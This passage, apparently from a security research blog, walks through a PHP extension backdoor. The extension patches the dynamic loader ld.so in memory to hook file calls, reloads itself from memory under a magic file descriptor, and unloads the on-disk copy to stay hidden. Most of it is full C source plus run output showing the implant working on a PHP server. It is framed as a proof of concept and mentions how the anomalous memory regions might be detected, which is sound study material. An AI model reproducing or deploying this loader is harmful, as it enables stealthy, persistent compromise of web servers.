handle = dlopen (LIBC, RTLD_NOW);
mylegacyread = dlsym(handle, "read");
printf("\t[+] Inside hooked read (FD: %d)\n", fd);
return mylegacyread(fd, buf, count);
}
void * my_mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset){
int mflags = 0;
void * ret = NULL;
uint64_t start = 0;
printf("\t[+] Inside hooked mmap\n");
return mmap(addr, length, prot, flags, fd, offset);
}
int my_fstat(int fd, struct stat *buf){
void *handle;
int (*mylegacyfstat)(int fd, struct stat *buf);
handle = dlopen (LIBC, RTLD_NOW);
mylegacyfstat = dlsym(handle, "fstat64");
printf("\t[+] Inside hooked fstat (FD: %d)\n", fd);
return mylegacyfstat(fd, buf);
}
int my_close(int fd) {
printf("\t[+] Inside Hooked close (FD: %d)\n", fd);
return close(fd);
}
ssize_t my_pread64(int fd, void *buf, size_t count, off_t offset) {
void *handle;
int (*mylegacypread)(int fd, void *buf, size_t count);
handle = dlopen(LIBC, RTLD_NOW);
mylegacypread = dlsym(handle, "pread");
printf("\t[+] Inside pread64 (FD: %d)\n", fd);
return mylegacypread(fd, buf, count);
}
/* Patch ld.so */
bool search_and_patch(uint64_t start_addr, uint64_t end_addr, const char* pattern, const size_t length, const char* symbol, const uint64_t replacement_addr, int position) {
bool found = false;
int32_t offset = 0;
uint64_t tmp_addr = 0;
uint64_t symbol_addr = 0;
char * code = NULL;
void * page_addr = NULL;
tmp_addr = start_addr;
while ( ! found && tmp_addr+length < end_addr) {
if ( memcmp((void*)tmp_addr, (void*)pattern, length) == 0 ) {
found = true;
continue;
}
++tmp_addr;
}
if ( ! found ) {
return false;
}
offset = *((uint64_t*)(tmp_addr + length));
symbol_addr = tmp_addr + length + 4 + offset;
//Save data to fix later
fixes[position] = malloc(stub_length * sizeof(char));
memcpy(fixes[position], (void*)symbol_addr, stub_length);
fix_locations[position] = symbol_addr;
printf("[*] Symbol: %s - Addr: %lx\n", symbol, fix_locations[position]);
code = malloc(stub_length * sizeof(char));
memcpy(code, stub, stub_length);
memcpy(code+6, &replacement_addr, sizeof(uint64_t));
page_addr = (void*) (((size_t)symbol_addr) & (((size_t)-1) ^ (page_size - 1)));
mprotect(page_addr, page_size, PROT_READ | PROT_WRITE);
memcpy((void*)symbol_addr, code, stub_length);
mprotect(page_addr, page_size, PROT_READ | PROT_EXEC);
return true;
}
/* Read file from disk */
bool load_library_from_file(char * path, lib_t *libdata) {
struct stat st;
FILE * file;
size_t read;
if ( stat(path, &st) < 0 ) {
return false;
}
libdata->size = st.st_size;
libdata->data = malloc( st.st_size );
libdata->current = 0;
file = fopen(path, "r");
read = fread(libdata->data, 1, st.st_size, file);
fclose(file);
return true;
}
void patch_all(void){
uint64_t start = 0;
uint64_t end = 0;
size_t i = 0;
page_size = sysconf(_SC_PAGESIZE);
printf("\t\t-=[ Proof of Concept ]=-\n\n");
/* if (!load_library_from_file("/home/vagrant/research/php/backdoor/adepts/adepts.so", &libdata)){
return;
}*/
if (!find_ld_in_memory(&start, &end)){
return;
}
printf("[*] ld.so found in range [0x%lx-0x%lx]\n", start, end);
printf("-------------[ Patching ]-------------\n");
while ( patterns[i] != NULL ) {
if ( ! search_and_patch(start, end, patterns[i], pattern_lengths[i], symbols[i], functions[i], i) ) {
return;
}
++i;
}
printf("---------------------------------------\n");
return;
}
// Basic zend_module_entry
zend_module_entry adepts_module_entry = {
STANDARD_MODULE_HEADER,
"adepts", /* Extension name */
NULL, /* zend_function_entry */
NULL, /* PHP_MINIT - Module initialization */
NULL, /* PHP_MSHUTDOWN - Module shutdown */
NULL, /* PHP_RINIT - Request initialization */
NULL, /* PHP_RSHUTDOWN - Request shutdown */
NULL, /* PHP_MINFO - Module info */
PHP_ADEPTS_VERSION, /* Version */
STANDARD_MODULE_PROPERTIES
};
//Function "get_module" that will be executed by PHP
extern zend_module_entry *get_module(void){
patch_all();
void *handler = dlopen("/home/vagrant/research/php/backdoor/adepts/test.so", RTLD_NOW);
return &adepts_module_entry;
}
#ifdef COMPILE_DL_ADEPTS
# ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
# endif
ZEND_GET_MODULE(adepts)
#endif
My test.so
is just a shared object that prints a message when loaded:
=> php -d "extension=/home/vagrant/research/php/backdoor/adepts/adepts.so" -r "echo 1;"
-=[ Proof of Concept ]=-
[*] ld.so found in range [0x7f5dd6999000-0x7f5dd69c3000]
-------------[ Patching ]-------------
[*] Symbol: read - Addr: 7f5dd69bdb80
[*] Symbol: mmap - Addr: 7f5dd69bdcc0
[*] Symbol: pread - Addr: 7f5dd69bdbb0
[*] Symbol: fstat - Addr: 7f5dd69bd8a0
[*] Symbol: close - Addr: 7f5dd69bd9f0
[*] Symbol: open - Addr: 7f5dd69bdb00
---------------------------------------
[+] Inside hooked open (ARG: /home/vagrant/research/php/backdoor/adepts/test.so)
[+] Inside hooked read (FD: 3)
[+] Inside hooked fstat (FD: 3)
[+] Inside hooked mmap
[+] Inside hooked mmap
[+] Inside hooked mmap
[+] Inside hooked mmap
[+] Inside Hooked close (FD: 3)
Lib initialized successfully!
1%
Now that we checked our hooks were successfully deployed it’s time to add the real functionalities to them. First we have to do is detect, at open()
, if the path provided matches a magic word (in this case we use “magic.so”), if so we have to return a magic value as file descriptor (0x69).
int my_open(const char *pathname, int flags) {
void *handle;
int (*mylegacyopen)(const char *pathnam, int flags);
handle = dlopen (LIBC, RTLD_NOW);
mylegacyopen = dlsym(handle, "open");
if (strstr(pathname, "magic.so") != 0){
printf("\t[+] Open called with magic word. Returning magic FD (0x69)\n");
return 0x69;
}
return mylegacyopen(pathname, flags);
}
Next we have to modify read()
to return the extension contents from memory (we readed the file before).
ssize_t my_read(int fd, void *buf, size_t count){
void *handle;
ssize_t (*mylegacyread)(int fd, void *buf, size_t count);
handle = dlopen (LIBC, RTLD_NOW);
mylegacyread = dlsym(handle, "read");
if (fd == 0x69){
size_t size = 0;
if ( libdata.size - libdata.current >= count ) {
size = count;
} else {
size = libdata.size - libdata.current;
}
memcpy(buf, libdata.data+libdata.current, size);
libdata.current += size;
printf("\t[+] Read called with magic FD. Returning %ld bytes from memory\n", size);
return size;
}
return mylegacyread(fd, buf, count);
}
Also we have to modify fstat64()
so it returns a congruent value:
int my_fstat(int fd, struct stat *buf){
void *handle;
int (*mylegacyfstat)(int fd, struct stat *buf);
handle = dlopen (LIBC, RTLD_NOW);
mylegacyfstat = dlsym(handle, "fstat64");
if ( fd == 0x69 ) {
memset(buf, 0, sizeof(struct stat));
buf->st_size = libdata.size;
buf->st_ino = 0x666; // random number
printf("\t[+] Inside hooked fstat64 (fd: 0x%x)\n", fd);
return 0;
}
return mylegacyfstat(fd, buf);
}
Then we have to map the file contents in anonymous sections and modify the memory perms:
void * my_mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset){
int mflags = 0;
void * ret = NULL;
uint64_t start = 0;
size_t size = 0;
if ( fd == 0x69 ) {
mflags = MAP_PRIVATE|MAP_ANON;
if ( (flags & MAP_FIXED) != 0 ) {
mflags |= MAP_FIXED;
}
ret = mmap(addr, length, PROT_READ|PROT_WRITE|PROT_EXEC, mflags, -1, 0);
size = length > libdata.size - offset ? libdata.size - offset : length;
memcpy(ret, libdata.data + offset, size);
mprotect(ret, size, prot);
if (first == 0){
first = (uint64_t)ret;
}
printf("\t[+] Inside hooked mmap (fd: 0x%x)\n", fd);
return ret;
}
return mmap(addr, length, prot, flags, fd, offset);
}
And lastly we edit close()
hook to return “0” as we never opened the file descriptor.
int my_close(int fd) {
if (fd == 0x69){
printf("\t[+] Inside hooked close (fd: 0x%x)\n", fd);
return 0;
}
return close(fd);
}
So the final code is:
/* adepts extension for PHP */
#ifdef HAVE_CONFIG_H
# include "config.h"
#endif
#include "php.h"
#include "ext/standard/info.h"
#include "php_adepts.h"
#include <sys/mman.h>
/* For compatibility with older PHP versions */
#ifndef ZEND_PARSE_PARAMETERS_NONE
#define ZEND_PARSE_PARAMETERS_NONE() \
ZEND_PARSE_PARAMETERS_START(0, 0) \
ZEND_PARSE_PARAMETERS_END()
#endif
typedef struct {
void * data;
size_t size;
size_t current;
} lib_t;
lib_t libdata;
char stub[] = {0x55, 0x48, 0x89, 0xe5, 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xd0, 0xc9, 0xc3};
size_t stub_length = 18;
#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"
int my_open(const char *pathname, int flags);
off_t my_pread64(int fd, void *buf, size_t count, off_t offset);
ssize_t my_read(int fd, void *buf, size_t count);
void * my_mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
int my_fstat(int fd, struct stat *buf);
int my_close(int fd);
/*
pwndbg> disassemble 0x7ffff7fc99ad,+20
Dump of assembler code from 0x7ffff7fc99ad to 0x7ffff7fc99c1:
0x00007ffff7fc99ad <open_verify+109>: sub rdx,rax
0x00007ffff7fc99b0 <open_verify+112>: lea rsi,[rdi+rax*1]
0x00007ffff7fc99b4 <open_verify+116>: mov edi,r15d
0x00007ffff7fc99b7 <open_verify+119>: call 0x7ffff7fe9b80 <__GI___read_nocancel>
*/
const char read_pattern[] = {0x48, 0x29, 0xc2, 0x48, 0x8d, 0x34, 0x07, 0x44, 0x89, 0xff, 0xe8};
#define read_pattern_length 11
/*
pwndbg> disass 0x7ffff7fcc088,+40
Dump of assembler code from 0x7ffff7fcc088 to 0x7ffff7fcc0b0:
0x00007ffff7fcc088 <_dl_map_object_from_fd+1208>: mov ecx,0x812
0x00007ffff7fcc08d <_dl_map_object_from_fd+1213>: mov DWORD PTR [rbp-0xe0],r11d
0x00007ffff7fcc094 <_dl_map_object_from_fd+1220>: call 0x7ffff7fe9cc0 <__mmap64>
*/
const char mmap_pattern[] = {0xb9, 0x12, 0x08, 0x00, 0x00, 0x44, 0x89, 0x9d, 0x20, 0xff, 0xff, 0xff, 0xe8};
#define mmap_pattern_length 13
/*
pwndbg> disass 0x7ffff7fcc0c8,+20
Dump of assembler code from 0x7ffff7fcc0c8 to 0x7ffff7fcc0dc:
0x00007ffff7fcc0c8 <_dl_map_object_from_fd+1272>: mov edi,DWORD PTR [rbp-0xd4]
0x00007ffff7fcc0ce <_dl_map_object_from_fd+1278>: lea rsi,[rbp-0xc0]
0x00007ffff7fcc0d5 <_dl_map_object_from_fd+1285>: call 0x7ffff7fe98a0 <__GI___fstat64>
*/
const char fxstat_pattern[] = {0x8b, 0xbd, 0x2c, 0xff, 0xff, 0xff, 0x48, 0x8d, 0xb5, 0x40, 0xff, 0xff, 0xff, 0xe8};
#define fxstat_pattern_length 14
/*
pwndbg> disass 0x7ffff7fcc145,+40
Dump of assembler code from 0x7ffff7fcc145 to 0x7ffff7fcc16d:
0x00007ffff7fcc145 <_dl_map_object_from_fd+1397>: mov edi,DWORD PTR [rbp-0xd4]
0x00007ffff7fcc14b <_dl_map_object_from_fd+1403>: call 0x7ffff7fe99f0 <__GI___close_nocancel>
*/
const char close_pattern[] = {0x8b, 0xbd, 0x2c, 0xff, 0xff, 0xff, 0xe8};
#define close_pattern_length 7
/*
pwndbg> disass 0x7ffff7fc996a,+40
Dump of assembler code from 0x7ffff7fc996a to 0x7ffff7fc9992:
0x00007ffff7fc996a <open_verify+42>: mov esi,0x80000
0x00007ffff7fc996f <open_verify+47>: mov rdi,r14
0x00007ffff7fc9972 <open_verify+50>: xor eax,eax
0x00007ffff7fc9974 <open_verify+52>: call 0x7ffff7fe9b00 <__GI___open64_nocancel>
*/
const char open_pattern[] = {0xbe, 0x00, 0x00, 0x08, 0x00, 0x4c, 0x89, 0xf7, 0x31, 0xc0, 0xe8};
#define open_pattern_length 11
/*
pwndbg> disass 0x00007ffff7fcc275,+40
Dump of assembler code from 0x7ffff7fcc275 to 0x7ffff7fcc29d:
0x00007ffff7fcc275 <_dl_map_object_from_fd+1701>: mov rsi,rax
0x00007ffff7fcc278 <_dl_map_object_from_fd+1704>: mov QWORD PTR [rbp-0x158],rax
0x00007ffff7fcc27f <_dl_map_object_from_fd+1711>: call 0x7ffff7fe9bb0 <__GI___pread64_nocancel>
*/
const char pread64_pattern[] = {0x48, 0x89, 0xc6, 0x48, 0x89, 0x85, 0xa8, 0xfe, 0xff, 0xff, 0xe8};
#define pread64_pattern_length 11
const char* patterns[] = {read_pattern, mmap_pattern, pread64_pattern, fxstat_pattern, close_pattern,
open_pattern, NULL};
const size_t pattern_lengths[] = {read_pattern_length, mmap_pattern_length, pread64_pattern_length,
fxstat_pattern_length, close_pattern_length, open_pattern_length, 0};
const char* symbols[] = {"read", "mmap", "pread", "fstat", "close", "open", NULL};
uint64_t functions[] = {(uint64_t)&my_read, (uint64_t)&my_mmap, (uint64_t)&my_pread64, (uint64_t)&my_fstat,
(uint64_t)&my_close, (uint64_t)&my_open, 0};
char *fixes[7] = {0};
uint64_t fix_locations[7] = {0};
size_t page_size;
bool find_ld_in_memory(uint64_t *addr1, uint64_t *addr2) {
FILE* f = NULL;
char buffer[1024] = {0};
char* tmp = NULL;
char* start = NULL;
char* end = NULL;
bool found = false;
if ((f = fopen("/proc/self/maps", "r")) == NULL){
return found;
}
while ( fgets(buffer, sizeof(buffer), f) ){
if ( strstr(buffer, "r-xp") == 0 ) {
continue;
}
if ( strstr(buffer, "ld-linux-x86-64.so.2") == 0 ) {
continue;
}
buffer[strlen(buffer)-1] = 0;
tmp = strrchr(buffer, ' ');
if ( tmp == NULL || tmp[0] != ' ')
continue;
++tmp;
start = strtok(buffer, "-");
*addr1 = strtoul(start, NULL, 16);
end = strtok(NULL, " ");
*addr2 = strtoul(end, NULL, 16);
found = true;
}
fclose(f);
return found;
}
/* hooks */
int my_open(const char *pathname, int flags) {
void *handle;
int (*mylegacyopen)(const char *pathnam, int flags);
handle = dlopen (LIBC, RTLD_NOW);
mylegacyopen = dlsym(handle, "open");
if (strstr(pathname, "magic.so") != 0){
printf("\t[+] Open called with magic word. Returning magic FD (0x69)\n");
return 0x69;
}
return mylegacyopen(pathname, flags);
}
ssize_t my_read(int fd, void *buf, size_t count){
void *handle;
ssize_t (*mylegacyread)(int fd, void *buf, size_t count);
handle = dlopen (LIBC, RTLD_NOW);
mylegacyread = dlsym(handle, "read");
if (fd == 0x69){
size_t size = 0;
if ( libdata.size - libdata.current >= count ) {
size = count;
} else {
size = libdata.size - libdata.current;
}
memcpy(buf, libdata.data + libdata.current, size);
libdata.current += size;
printf("\t[+] Read called with magic FD. Returning %ld bytes from memory\n", size);
return size;
}
size_t ret = mylegacyread(fd, buf, count);
printf("Size: %ld\n",ret);
return ret;
}
void * my_mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset){
int mflags = 0;
void * ret = NULL;
uint64_t start = 0;
size_t size = 0;
if ( fd == 0x69 ) {
mflags = MAP_PRIVATE|MAP_ANON;
if ( (flags & MAP_FIXED) != 0 ) {
mflags |= MAP_FIXED;
}
ret = mmap(addr, length, PROT_READ|PROT_WRITE|PROT_EXEC, mflags, -1, 0);
size = length > libdata.size - offset ? libdata.size - offset : length;
memcpy(ret, libdata.data + offset, size);
mprotect(ret, size, prot);
if (first == 0){
first = (uint64_t)ret;
}
printf("\t[+] Inside hooked mmap (fd: 0x%x)\n", fd);
return ret;
}
return mmap(addr, length, prot, flags, fd, offset);
}
int my_fstat(int fd, struct stat *buf){
void *handle;
int (*mylegacyfstat)(int fd, struct stat *buf);
handle = dlopen (LIBC, RTLD_NOW);
mylegacyfstat = dlsym(handle, "fstat64");
if ( fd == 0x69 ) {
memset(buf, 0, sizeof(struct stat));
buf->st_size = libdata.size;
buf->st_ino = 0x666; // random number
printf("\t[+] Inside hooked fstat64 (fd: 0x%x)\n", fd);
return 0;
}
return mylegacyfstat(fd, buf);
}
int my_close(int fd) {
if (fd == 0x69){
printf("\t[+] Inside hooked close (fd: 0x%x)\n", fd);
return 0;
}
return close(fd);
}
/* Patch ld.so */
bool search_and_patch(uint64_t start_addr, uint64_t end_addr, const char* pattern, const size_t length, const char* symbol, const uint64_t replacement_addr, int position) {
bool found = false;
int32_t offset = 0;
uint64_t tmp_addr = 0;
uint64_t symbol_addr = 0;
char * code = NULL;
void * page_addr = NULL;
tmp_addr = start_addr;
while ( ! found && tmp_addr+length < end_addr) {
if ( memcmp((void*)tmp_addr, (void*)pattern, length) == 0 ) {
found = true;
continue;
}
++tmp_addr;
}
if ( ! found ) {
return false;
}
offset = *((uint64_t*)(tmp_addr + length));
symbol_addr = tmp_addr + length + 4 + offset;
//Save data to fix later
fixes[position] = malloc(stub_length * sizeof(char));
memcpy(fixes[position], (void*)symbol_addr, stub_length);
fix_locations[position] = symbol_addr;
printf("[*] Symbol: %s - Addr: %lx\n", symbol, fix_locations[position]);
code = malloc(stub_length * sizeof(char));
memcpy(code, stub, stub_length);
memcpy(code+6, &replacement_addr, sizeof(uint64_t));
page_addr = (void*) (((size_t)symbol_addr) & (((size_t)-1) ^ (page_size - 1)));
mprotect(page_addr, page_size, PROT_READ | PROT_WRITE);
memcpy((void*)symbol_addr, code, stub_length);
mprotect(page_addr, page_size, PROT_READ | PROT_EXEC);
return true;
}
/* Read file from disk */
bool load_library_from_file(char * path, lib_t *libdata) {
struct stat st;
FILE * file;
size_t read;
if ( stat(path, &st) < 0 ) {
return false;
}
libdata->size = st.st_size;
libdata->data = malloc( st.st_size );
libdata->current = 0;
file = fopen(path, "r");
read = fread(libdata->data, 1, st.st_size, file);
fclose(file);
return true;
}
void patch_all(void){
uint64_t start = 0;
uint64_t end = 0;
size_t i = 0;
page_size = sysconf(_SC_PAGESIZE);
printf("\t\t-=[ Proof of Concept ]=-\n\n");
if (!load_library_from_file("/home/vagrant/research/php/backdoor/adepts/test.so", &libdata)){
return;
}
if (!find_ld_in_memory(&start, &end)){
return;
}
printf("[*] ld.so found in range [0x%lx-0x%lx]\n", start, end);
printf("-------------[ Patching ]-------------\n");
while ( patterns[i] != NULL ) {
if ( ! search_and_patch(start, end, patterns[i], pattern_lengths[i], symbols[i], functions[i], i) ) {
return;
}
++i;
}
printf("---------------------------------------\n");
return;
}
// Basic zend_module_entry
zend_module_entry adepts_module_entry = {
STANDARD_MODULE_HEADER,
"adepts", /* Extension name */
NULL, /* zend_function_entry */
NULL, /* PHP_MINIT - Module initialization */
NULL, /* PHP_MSHUTDOWN - Module shutdown */
NULL, /* PHP_RINIT - Request initialization */
NULL, /* PHP_RSHUTDOWN - Request shutdown */
NULL, /* PHP_MINFO - Module info */
PHP_ADEPTS_VERSION, /* Version */
STANDARD_MODULE_PROPERTIES
};
//Function "get_module" that will be executed by PHP
extern zend_module_entry *get_module(void){
patch_all();
void *handler = dlopen("./magic.so", RTLD_NOW);
//void *hanlder = dlopen("/home/vagrant/research/php/backdoor/adepts/test.so", RTLD_NOW);
return &adepts_module_entry;
}
#ifdef COMPILE_DL_ADEPTS
# ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
# endif
ZEND_GET_MODULE(adepts)
#endif
We can test that the shared object (test.so
) is loaded from memory instead of disk:
=> php -d "extension=/home/vagrant/research/php/backdoor/adepts/adepts.so" -r "echo 1;"
-=[ Proof of Concept ]=-
[*] ld.so found in range [0x7f0c1e953000-0x7f0c1e97d000]
-------------[ Patching ]-------------
[*] Symbol: read - Addr: 7f0c1e977b80
[*] Symbol: mmap - Addr: 7f0c1e977cc0
[*] Symbol: pread - Addr: 7f0c1e977bb0
[*] Symbol: fstat - Addr: 7f0c1e9778a0
[*] Symbol: close - Addr: 7f0c1e9779f0
[*] Symbol: open - Addr: 7f0c1e977b00
---------------------------------------
[+] Open called with magic word. Returning magic FD (0x69)
[+] Read called with magic FD. Returning 832 bytes from memory
[+] Inside hooked fstat64 (fd: 0x69)
[+] Inside hooked mmap (fd: 0x69)
[+] Inside hooked mmap (fd: 0x69)
[+] Inside hooked mmap (fd: 0x69)
[+] Inside hooked mmap (fd: 0x69)
[+] Inside hooked close (fd: 0x69)
Lib initialized successfully!
1%
Next question is… can we use it to load our extension again ? Let’s add a small canary and change the path at load_library_from_file()
to point to our extension:
static void check(void) __attribute__((constructor));
void check(void){
printf("~~~> Hello from adepts.o <~~~\n");
return;
}
It works!
=> php -d "extension=/home/vagrant/research/php/backdoor/adepts/adepts.so" -r "echo 1;"
~~~> Hello from adepts.o <~~~
-=[ Proof of Concept ]=-
[*] ld.so found in range [0x7fd97554c000-0x7fd975576000]
-------------[ Patching ]-------------
[*] Symbol: read - Addr: 7fd975570b80
[*] Symbol: mmap - Addr: 7fd975570cc0
[*] Symbol: pread - Addr: 7fd975570bb0
[*] Symbol: fstat - Addr: 7fd9755708a0
[*] Symbol: close - Addr: 7fd9755709f0
[*] Symbol: open - Addr: 7fd975570b00
---------------------------------------
[+] Open called with magic word. Returning magic FD (0x69)
[+] Read called with magic FD. Returning 832 bytes from memory
[+] Inside hooked fstat64 (fd: 0x69)
[+] Inside hooked mmap (fd: 0x69)
[+] Inside hooked mmap (fd: 0x69)
[+] Inside hooked mmap (fd: 0x69)
[+] Inside hooked mmap (fd: 0x69)
[+] Inside hooked close (fd: 0x69)
~~~> Hello from adepts.o <~~~
We can see how the message was printed twice: the first when PHP loads our extension and the second when the extension is loaded directly from memory.
At this point every other shared object loaded by the process will go through our hooks. That’s something that should be fine but to avoid any issue (imagine a collision between a file descriptor and our magic value) we have to repatch the memory to remove the hooks. The other reason to restore the original code is because we are kind and polite :).
/* remove hooks */
bool fix_hook(char *fix, uint64_t addr){
void *page_addr = (void*) (((size_t)addr) & (((size_t)-1) ^ (page_size - 1)));
mprotect(page_addr, page_size, PROT_READ | PROT_WRITE);
memcpy((void *)addr, fix, stub_length);
mprotect(page_addr, page_size, PROT_READ | PROT_EXEC);
return true;
}
extern void restore(void){
int i = 0;
printf("[*] Fixing hooks\n");
while ( patterns[i] != NULL ) {m
if ( ! fix_hook(fixes[i], fix_locations[i]) ) {
return;
}
++i;
}
return;
}
Although we have a new copy of our extension loaded from memory we can not unload the original because the symbols are binded.
147212: binding file ./magic.so [0] to /home/vagrant/research/php/backdoor/adepts/adepts.so [0]: normal symbol `onLoad'
147212: binding file ./magic.so [0] to /home/vagrant/research/php/backdoor/adepts/adepts.so [0]: normal symbol `stub_length'
147212: binding file ./magic.so [0] to /home/vagrant/research/php/backdoor/adepts/adepts.so [0]: normal symbol `adepts_module_entry'
Even if we call multiple times dlclose()
the process will keep always references to it, so it would not be unloaded. To solve this issue we have to compile the extension using the flag -fvisibility=hidden
and only set get_module
symbol to default visibility.
Now the question is… how can we unload the extension? how can we set the MINIT/MSHUTDOWN/RINIT/RSHUTDOWN
hooks so our code will be executed? Well, the answer is the same: the original get_module()
must return a pointer to a zend_module_entry
located in the new copy loaded from memory. And also this structure must be set with pointers to functions in this copy.
We need to have the code to execute the dlclose()
pointed by module_startup_func
so it would be executed when Zend Engine processes the data. The problem is we can not use dlsym()
to find the function address because we set the visibility to hidden to avoid the symbol collision issue. Alternatively we can get the address in our original extension minus the base address, and then use the address of the first mapped region in our copied version plus this difference as an offset:
static Dl_info info;
dladdr(&info, &info);
uint64_t diffLoad = (uint64_t)&onLoad - (uint64_t)info.dli_fbase;
uint64_t diffRequest = (uint64_t)&onRequest - (uint64_t)info.dli_fbase;
uint64_t newLoad = first + diffLoad;
uint64_t newRequest = first + diffRequest;
uint64_t diffModule = (uint64_t)&adepts_module_entry - (uint64_t)info.dli_fbase;
((zend_module_entry *)(diffModule + first))->module_startup_func = (void *)newLoad;
((zend_module_entry *)(diffModule + first))->request_shutdown_func = (void *)newRequest;
return (void *)(diffModule + first);
And the code at newLoad()
and newRequest()
:
/* Functions to execute */
zend_result onLoad(int a, int b){
printf("[^] Executing onLoad\n");
void* handle = dlopen("/home/vagrant/research/php/backdoor/adepts/adepts.so", RTLD_LAZY);
while (dlclose(handle) != -1){
printf("[*] dlclose()\n");
}
return SUCCESS;
}
zend_result onRequest(void){
php_printf("\n[/!\\] Adepts of 0xCC [/!\\]\n\n");
return SUCCESS;
}
We can verify that it works:
=> sudo php -d "extension=/home/vagrant/research/php/backdoor/adepts/adepts.so" -S 127.0.0.1:80
~~~> Hello from adepts.o <~~~
-=[ Proof of Concept ]=-
[*] ld.so found in range [0x7f60980a7000-0x7f60980d1000]
-------------[ Patching ]-------------
[*] Symbol: read - Addr: 7f60980cbb80
[*] Symbol: mmap - Addr: 7f60980cbcc0
[*] Symbol: pread - Addr: 7f60980cbbb0
[*] Symbol: fstat - Addr: 7f60980cb8a0
[*] Symbol: close - Addr: 7f60980cb9f0
[*] Symbol: open - Addr: 7f60980cbb00
---------------------------------------
[+] Open called with magic word. Returning magic FD (0x69)
[+] Read called with magic FD. Returning 832 bytes from memory
[+] Inside hooked fstat64 (fd: 0x69)
[+] Inside hooked mmap (fd: 0x69)
[+] Inside hooked mmap (fd: 0x69)
[+] Inside hooked mmap (fd: 0x69)
[+] Inside hooked mmap (fd: 0x69)
[+] Inside hooked close (fd: 0x69)
~~~> Hello from adepts.o <~~~
---------------------------------------
[*] Fixing hooks
[^] Executing onLoad
[*] dlclose()
[*] dlclose()
[Mon Dec 26 20:59:11 2022] PHP 8.2.0 Development Server (http://127.0.0.1:80) started
[Mon Dec 26 20:59:26 2022] 127.0.0.1:42582 Accepted
[Mon Dec 26 20:59:26 2022] 127.0.0.1:42582 [200]: GET /index.php
[Mon Dec 26 20:59:26 2022] 127.0.0.1:42582 Closing
And we can see that even when the original extension as unloaded, the copy version from memory still working:
=> curl localhost/index.php
Hello World!
[/!\] Adepts of 0xCC [/!\]
If we change the index.php
to check /proc/self/maps
contents we can see how it’s “invisible” (well, you can see the anomalous memory regions that should be enough to detect it):
=> curl localhost/index.php
561150c00000-561150d2c000 r--p 00000000 08:01 2523 /usr/local/bin/php
561150e00000-56115161b000 r-xp 00200000 08:01 2523 /usr/local/bin/php
561151800000-56115201c000 r--p 00c00000 08:01 2523 /usr/local/bin/php
56115231d000-561152400000 r--p 0151d000 08:01 2523 /usr/local/bin/php
561152400000-561152406000 rw-p 01600000 08:01 2523 /usr/local/bin/php
561152406000-561152424000 rw-p 00000000 00:00 0
561152a2e000-561152c26000 rw-p 00000000 00:00 0 [heap]
7f9f97f17000-7f9f98200000 r--p 00000000 08:01 6308 /usr/lib/locale/locale-archive
7f9f98200000-7f9f98400000 rw-p 00000000 00:00 0
7f9f98490000-7f9f984e1000 rw-p 00000000 00:00 0
7f9f9850a000-7f9f9853a000 rw-p 00000000 00:00 0
7f9f9853a000-7f9f9853b000 r--p 00000000 00:00 0
7f9f9853b000-7f9f9853d000 r-xp 00000000 00:00 0
7f9f9853d000-7f9f9853f000 r--p 00000000 00:00 0
7f9f9853f000-7f9f98540000 rw-p 00000000 00:00 0
7f9f98540000-7f9f98597000 r--p 00000000 08:01 6312 /usr/lib/locale/C.utf8/LC_CTYPE
7f9f98597000-7f9f9859c000 rw-p 00000000 00:00 0
7f9f9859c000-7f9f9859f000 r--p 00000000 08:01 3638 /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
7f9f9859f000-7f9f985b6000 r-xp 00003000 08:01 3638 /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
7f9f985b6000-7f9f985ba000 r--p 0001a000 08:01 3638 /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
7f9f985ba000-7f9f985bb000 r--p 0001d000 08:01 3638 /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
7f9f985bb000-7f9f985bc000 rw-p 0001e000 08:01 3638 /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
7f9f985bc000-7f9f98656000 r--p 00000000 08:01 3639 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.30
7f9f98656000-7f9f98766000 r-xp 0009a000 08:01 3639 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.30
7f9f98766000-7f9f987d5000 r--p 001aa000 08:01 3639 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.30
7f9f987d5000-7f9f987e0000 r--p 00218000 08:01 3639 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.30
7f9f987e0000-7f9f987e3000 rw-p 00223000 08:01 3639 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.30
7f9f987e3000-7f9f987e6000 rw-p 00000000 00:00 0
7f9f987e6000-7f9f987e7000 r--p 00000000 08:01 4871 /usr/lib/x86_64-linux-gnu/libicudata.so.70.1
7f9f987e7000-7f9f987e8000 r-xp 00001000 08:01 4871 /usr/lib/x86_64-linux-gnu/libicudata.so.70.1
7f9f987e8000-7f9f9a402000 r--p 00002000 08:01 4871 /usr/lib/x86_64-linux-gnu/libicudata.so.70.1
7f9f9a402000-7f9f9a403000 r--p 01c1b000 08:01 4871 /usr/lib/x86_64-linux-gnu/libicudata.so.70.1
7f9f9a403000-7f9f9a404000 rw-p 01c1c000 08:01 4871 /usr/lib/x86_64-linux-gnu/libicudata.so.70.1 [0/39]
7f9f9a404000-7f9f9a406000 rw-p 00000000 00:00 0
7f9f9a406000-7f9f9a409000 r--p 00000000 08:01 3968 /usr/lib/x86_64-linux-gnu/liblzma.so.5.2.5
7f9f9a409000-7f9f9a424000 r-xp 00003000 08:01 3968 /usr/lib/x86_64-linux-gnu/liblzma.so.5.2.5
7f9f9a424000-7f9f9a42f000 r--p 0001e000 08:01 3968 /usr/lib/x86_64-linux-gnu/liblzma.so.5.2.5
7f9f9a42f000-7f9f9a430000 r--p 00028000 08:01 3968 /usr/lib/x86_64-linux-gnu/liblzma.so.5.2.5
7f9f9a430000-7f9f9a431000 rw-p 00029000 08:01 3968 /usr/lib/x86_64-linux-gnu/liblzma.so.5.2.5
7f9f9a431000-7f9f9a433000 r--p 00000000 08:01 4818 /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
